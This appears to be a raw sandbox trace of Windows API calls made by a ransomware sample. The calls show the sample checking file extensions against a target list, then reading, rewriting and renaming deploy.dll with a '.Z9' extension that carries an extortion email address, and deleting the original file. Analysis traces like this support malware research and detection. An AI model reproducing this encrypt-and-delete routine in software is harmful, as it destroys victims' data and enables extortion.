	[0091.978] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0091.979] lstrcmpiW (lpString1=".tlb", lpString2=".Z9") returned -1
	[0091.979] lstrlenW (lpString="msado25.tlb") returned 11
	[0091.979] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0091.982] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=69632) returned 1
	[0091.982] CloseHandle (hObject=0x300) returned 1
	[0091.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb")) returned 0x20
	[0091.982] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.986] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado25.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0091.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0091.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0091.986] lstrlenW (lpString=".doc") returned 4
	[0091.986] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0091.986] lstrlenW (lpString=".docx") returned 5
	[0091.986] lstrcmpiW (lpString1=".docx", lpString2="5.tlb") returned -1
	[0091.986] lstrlenW (lpString=".pdf") returned 4
	[0091.986] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0091.986] lstrlenW (lpString=".xls") returned 4
	[0091.986] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0091.986] lstrlenW (lpString=".xlsx") returned 5
	[0091.986] lstrcmpiW (lpString1=".xlsx", lpString2="5.tlb") returned -1
	[0091.986] lstrlenW (lpString=".ppt") returned 4
	[0091.986] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0091.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0091.986] lstrlenW (lpString=".zip") returned 4
	[0091.986] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0091.986] lstrlenW (lpString=".rar") returned 4
	[0091.986] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0091.986] lstrlenW (lpString=".bz2") returned 4
	[0091.986] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0091.986] lstrlenW (lpString=".7z") returned 3
	[0091.986] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0091.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0091.986] lstrlenW (lpString=".dbf") returned 4
	[0091.986] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0091.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0091.986] lstrlenW (lpString=".1cd") returned 4
	[0091.986] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0091.986] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0091.986] lstrlenW (lpString=".jpg") returned 4
	[0091.986] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0091.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0091.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0091.987] lstrlenW (lpString=".doc") returned 4
	[0091.987] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0091.987] lstrlenW (lpString=".docx") returned 5
	[0091.987] lstrcmpiW (lpString1=".docx", lpString2="5.tlb") returned -1
	[0091.987] lstrlenW (lpString=".pdf") returned 4
	[0091.987] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0091.987] lstrlenW (lpString=".xls") returned 4
	[0091.987] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0091.987] lstrlenW (lpString=".xlsx") returned 5
	[0091.987] lstrcmpiW (lpString1=".xlsx", lpString2="5.tlb") returned -1
	[0091.987] lstrlenW (lpString=".ppt") returned 4
	[0091.987] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0091.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0091.987] lstrlenW (lpString=".zip") returned 4
	[0091.987] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0091.987] lstrlenW (lpString=".rar") returned 4
	[0091.987] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0091.987] lstrlenW (lpString=".bz2") returned 4
	[0091.987] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0091.987] lstrlenW (lpString=".7z") returned 3
	[0091.987] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0091.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0091.987] lstrlenW (lpString=".dbf") returned 4
	[0091.987] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0091.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0091.987] lstrlenW (lpString=".1cd") returned 4
	[0091.987] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0091.987] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado25.tlb") returned 52
	[0091.987] lstrlenW (lpString=".jpg") returned 4
	[0091.987] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0091.988] lstrcmpiW (lpString1=".tlb", lpString2=".Z9") returned -1
	[0091.988] lstrlenW (lpString="msado28.tlb") returned 11
	[0091.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0091.989] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=70656) returned 1
	[0091.989] CloseHandle (hObject=0x300) returned 1
	[0091.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb")) returned 0x20
	[0091.989] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.989] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0091.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0091.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0091.989] lstrlenW (lpString=".doc") returned 4
	[0091.989] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0091.989] lstrlenW (lpString=".docx") returned 5
	[0091.989] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1
	[0091.989] lstrlenW (lpString=".pdf") returned 4
	[0091.989] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0091.989] lstrlenW (lpString=".xls") returned 4
	[0091.989] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0091.989] lstrlenW (lpString=".xlsx") returned 5
	[0091.989] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1
	[0091.989] lstrlenW (lpString=".ppt") returned 4
	[0091.989] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0091.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0091.990] lstrlenW (lpString=".zip") returned 4
	[0091.990] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0091.990] lstrlenW (lpString=".rar") returned 4
	[0091.990] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0091.990] lstrlenW (lpString=".bz2") returned 4
	[0091.990] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0091.990] lstrlenW (lpString=".7z") returned 3
	[0091.990] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0091.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0091.990] lstrlenW (lpString=".dbf") returned 4
	[0091.990] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0091.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0091.990] lstrlenW (lpString=".1cd") returned 4
	[0091.990] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0091.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0091.990] lstrlenW (lpString=".jpg") returned 4
	[0091.990] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0091.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0091.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0091.990] lstrlenW (lpString=".doc") returned 4
	[0091.990] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0091.990] lstrlenW (lpString=".docx") returned 5
	[0091.990] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1
	[0091.990] lstrlenW (lpString=".pdf") returned 4
	[0091.990] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0091.990] lstrlenW (lpString=".xls") returned 4
	[0091.990] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0091.990] lstrlenW (lpString=".xlsx") returned 5
	[0091.990] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1
	[0091.990] lstrlenW (lpString=".ppt") returned 4
	[0091.990] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0091.990] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0091.990] lstrlenW (lpString=".zip") returned 4
	[0091.990] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0091.990] lstrlenW (lpString=".rar") returned 4
	[0091.990] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0091.991] lstrlenW (lpString=".bz2") returned 4
	[0091.991] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0091.991] lstrlenW (lpString=".7z") returned 3
	[0091.991] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0091.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0091.991] lstrlenW (lpString=".dbf") returned 4
	[0091.991] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0091.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0091.991] lstrlenW (lpString=".1cd") returned 4
	[0091.991] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0091.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado28.tlb") returned 52
	[0091.991] lstrlenW (lpString=".jpg") returned 4
	[0091.991] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0091.991] lstrcmpiW (lpString1=".tlb", lpString2=".Z9") returned -1
	[0091.991] lstrlenW (lpString="msado60.tlb") returned 11
	[0091.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0091.994] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=70656) returned 1
	[0091.994] CloseHandle (hObject=0x300) returned 1
	[0091.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb")) returned 0x20
	[0091.995] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msado60.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0091.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0091.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0091.995] lstrlenW (lpString=".doc") returned 4
	[0091.995] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0091.995] lstrlenW (lpString=".docx") returned 5
	[0091.995] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0091.995] lstrlenW (lpString=".pdf") returned 4
	[0091.995] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0091.995] lstrlenW (lpString=".xls") returned 4
	[0091.995] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0091.995] lstrlenW (lpString=".xlsx") returned 5
	[0091.995] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0091.995] lstrlenW (lpString=".ppt") returned 4
	[0091.995] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0091.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0091.995] lstrlenW (lpString=".zip") returned 4
	[0091.995] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0091.995] lstrlenW (lpString=".rar") returned 4
	[0091.995] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0091.995] lstrlenW (lpString=".bz2") returned 4
	[0091.995] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0091.995] lstrlenW (lpString=".7z") returned 3
	[0091.995] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0091.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0091.995] lstrlenW (lpString=".dbf") returned 4
	[0091.995] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0091.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0091.995] lstrlenW (lpString=".1cd") returned 4
	[0091.996] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0091.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0091.996] lstrlenW (lpString=".jpg") returned 4
	[0091.996] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0091.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0091.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0091.996] lstrlenW (lpString=".doc") returned 4
	[0091.996] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0091.996] lstrlenW (lpString=".docx") returned 5
	[0091.996] lstrcmpiW (lpString1=".docx", lpString2="0.tlb") returned -1
	[0091.996] lstrlenW (lpString=".pdf") returned 4
	[0091.996] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0091.996] lstrlenW (lpString=".xls") returned 4
	[0091.996] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0091.996] lstrlenW (lpString=".xlsx") returned 5
	[0091.996] lstrcmpiW (lpString1=".xlsx", lpString2="0.tlb") returned -1
	[0091.996] lstrlenW (lpString=".ppt") returned 4
	[0091.996] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0091.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0091.996] lstrlenW (lpString=".zip") returned 4
	[0091.996] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0091.996] lstrlenW (lpString=".rar") returned 4
	[0091.996] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0091.996] lstrlenW (lpString=".bz2") returned 4
	[0091.996] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0091.996] lstrlenW (lpString=".7z") returned 3
	[0091.996] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0091.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0091.996] lstrlenW (lpString=".dbf") returned 4
	[0091.996] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0091.996] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0091.996] lstrlenW (lpString=".1cd") returned 4
	[0091.996] lstrcmpiW (lpString1=".1cd", lpString2=".tlb") returned -1
	[0091.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msado60.tlb") returned 52
	[0091.997] lstrlenW (lpString=".jpg") returned 4
	[0091.997] lstrcmpiW (lpString1=".jpg", lpString2=".tlb") returned -1
	[0091.997] lstrcmpiW (lpString1=".tlb", lpString2=".Z9") returned -1
	[0091.997] lstrlenW (lpString="msadomd28.tlb") returned 13
	[0091.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0091.997] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=13824) returned 1
	[0091.997] CloseHandle (hObject=0x300) returned 1
	[0091.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb")) returned 0x20
	[0091.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0091.998] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb" (normalized: "c:\\program files\\common files\\system\\ado\\msadomd28.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0091.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54
	[0091.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54
	[0091.998] lstrlenW (lpString=".doc") returned 4
	[0091.998] lstrcmpiW (lpString1=".doc", lpString2=".tlb") returned -1
	[0091.998] lstrlenW (lpString=".docx") returned 5
	[0091.998] lstrcmpiW (lpString1=".docx", lpString2="8.tlb") returned -1
	[0091.998] lstrlenW (lpString=".pdf") returned 4
	[0091.998] lstrcmpiW (lpString1=".pdf", lpString2=".tlb") returned -1
	[0091.998] lstrlenW (lpString=".xls") returned 4
	[0091.998] lstrcmpiW (lpString1=".xls", lpString2=".tlb") returned 1
	[0091.998] lstrlenW (lpString=".xlsx") returned 5
	[0091.998] lstrcmpiW (lpString1=".xlsx", lpString2="8.tlb") returned -1
	[0091.998] lstrlenW (lpString=".ppt") returned 4
	[0091.998] lstrcmpiW (lpString1=".ppt", lpString2=".tlb") returned -1
	[0091.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54
	[0091.998] lstrlenW (lpString=".zip") returned 4
	[0091.998] lstrcmpiW (lpString1=".zip", lpString2=".tlb") returned 1
	[0091.998] lstrlenW (lpString=".rar") returned 4
	[0091.998] lstrcmpiW (lpString1=".rar", lpString2=".tlb") returned -1
	[0091.998] lstrlenW (lpString=".bz2") returned 4
	[0091.998] lstrcmpiW (lpString1=".bz2", lpString2=".tlb") returned -1
	[0091.998] lstrlenW (lpString=".7z") returned 3
	[0091.998] lstrcmpiW (lpString1=".7z", lpString2="tlb") returned -1
	[0091.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\msadomd28.tlb") returned 54
	[0091.998] lstrlenW (lpString=".dbf") returned 4
	[0091.998] lstrcmpiW (lpString1=".dbf", lpString2=".tlb") returned -1
	[0092.134] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.134] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.134] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8
	[0092.137] GetLastError () returned 0x0
	[0092.137] ReadFile (in: hFile=0x374, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x8f840, lpOverlapped=0x0) returned 1
	[0092.159] WriteFile (in: hFile=0x2b8, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0x8f850, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0x8f850, lpOverlapped=0x0) returned 1
	[0092.425] ReadFile (in: hFile=0x374, lpBuffer=0x3f44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1
	[0092.425] WriteFile (in: hFile=0x2b8, lpBuffer=0x3f44020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f44020*, lpNumberOfBytesWritten=0x364fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0092.426] SetEndOfFile (hFile=0x2b8) returned 1
	[0092.426] CloseHandle (hObject=0x2b8) returned 1
	[0092.426] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1
	[0092.426] SetEndOfFile (hFile=0x374) returned 1
	[0092.431] CloseHandle (hObject=0x374) returned 1
	[0092.431] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0092.431] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\deploy.dll")) returned 1
	[0092.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0092.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0092.432] lstrlenW (lpString=".doc") returned 4
	[0092.432] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.432] lstrlenW (lpString=".docx") returned 5
	[0092.432] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1
	[0092.432] lstrlenW (lpString=".pdf") returned 4
	[0092.432] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.432] lstrlenW (lpString=".xls") returned 4
	[0092.432] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.432] lstrlenW (lpString=".xlsx") returned 5
	[0092.432] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1
	[0092.432] lstrlenW (lpString=".ppt") returned 4
	[0092.432] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0092.432] lstrlenW (lpString=".zip") returned 4
	[0092.432] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.432] lstrlenW (lpString=".rar") returned 4
	[0092.432] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.432] lstrlenW (lpString=".bz2") returned 4
	[0092.432] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.432] lstrlenW (lpString=".7z") returned 3
	[0092.432] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.432] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0092.432] lstrlenW (lpString=".dbf") returned 4
	[0092.432] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0092.433] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0092.433] lstrlenW (lpString=".1cd") returned 4
	[0092.433] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0092.433] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0092.433] lstrlenW (lpString=".jpg") returned 4
	[0092.433] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0092.433] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0092.433] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0092.433] lstrlenW (lpString=".doc") returned 4
	[0092.433] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0092.433] lstrlenW (lpString=".docx") returned 5
	[0092.433] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1
	[0092.433] lstrlenW (lpString=".pdf") returned 4
	[0092.433] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0092.433] lstrlenW (lpString=".xls") returned 4
	[0092.433] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0092.433] lstrlenW (lpString=".xlsx") returned 5
	[0092.433] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1
	[0092.433] lstrlenW (lpString=".ppt") returned 4
	[0092.433] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0092.433] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0092.433] lstrlenW (lpString=".zip") returned 4
	[0092.433] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0092.433] lstrlenW (lpString=".rar") returned 4
	[0092.433] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0092.433] lstrlenW (lpString=".bz2") returned 4
	[0092.433] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0092.433] lstrlenW (lpString=".7z") returned 3
	[0092.433] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0092.433] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\deploy.dll") returned 49
	[0092.433] lstrlenW (lpString=".dbf") returned 4
